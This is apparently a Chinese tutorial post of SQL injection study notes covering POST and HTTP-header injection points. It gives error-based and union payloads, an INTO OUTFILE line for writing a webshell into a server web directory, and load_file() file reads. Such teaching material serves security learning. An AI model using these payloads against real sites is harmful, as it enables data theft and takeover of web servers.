sql注入第三天

目录

POST 注入

POST注入的常见功能点:

POST注入时,一般两种方法:

利用报错注入

union 注入:

注册功能点注入:

SQL 注入读写文件

into outfile:

load_ file():


  • POST 注入

POST功能点也可能会存在SQL注入,

和数据库进行交互的功能点可能会存在SQL注入

  • POST注入的常见功能点:

  1. 注册功能点
  2. 登录功能点
  3. 留言板
  4. 资料修改
  5. 资料删除
  6. ..........
  • POST注入时,一般两种方法:

  1. 使用hackbar 类似插件功能注入
  1. 使用Burp Suite 的Repeater 重放模块

实战演示:

pay load: 'or 1 #

  • 利用报错注入

payload:'and extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))#

  • union 注入:

payload:'union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1)#

  • 注册功能点注入:

payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or'

Referer 注入:

在真实环境中有的注入点不仅仅只是在请求体中,也可能是存在于其他字段上,也就是HTTP的头部注入。

HTTP头注入: 注入点在HTTP请求头部的某个字段中,通常包含以下几种:

COOKIE 型注入: HTTP请求的时候会带上客户端的cookie,注入点存在cookie当中的某个字段中

XFF (X-Forward-For) 注入: HTTP请求中的X-Forworded-For字段,通过修改XFF-Forwarded-For 头对带入系统的dns进行SQL注入,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或文件中,可以通过修改XFF头伪造真实IP

Clien-IP:作用同XFF。

User-Agent注入:有的网站会将客户端使用的操作系统或浏览器版本存入数据库中。

Referer注入:有的网站会将客户端referer存入数据库中。

payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) or'

其他注入(DELETE)

payload:'or extractvalue('x',concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))

这里需要注意,因为是在请求头中,所以需要将空格编码成 + 号。

  • SQL 注入读写文件

在实际应用中,有时候可能由于一些需求, 我们需要读取或者写入文件到目标服务器中,当然读写文件时需要有一定的权限才可以进行读取,常用的函数主要有以下两个:

  • into outfile:

写shell:

当权限为root且知道绝对路径时,可以直接写一句话木马到服务器,注意存在。

'union select 1,"",3 into outfile "c:\\phpstudy\\PHPTutorial\\WWW\\xx.php",

也可以查询null值。

还可以使用load_ file函数读取文件,

  • load_ file():

文件读取,利用load_file()函数进行文件读取,结合@@basedir、@@datedir等函数爆路径

union select 1,2,hex(load_file('c:\\phpstudy\\PHPTutorial\\WWW\\xx.php'))--+

前提条件:

  1. 必须有权限读取且文件是可读的,低权限无法读取高权限用户文件
  2. 被文件必须在服务器上
  3. 必须知道文件的绝对路径
  4. 读取的文件必须小于设定:max_allowed_packet
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值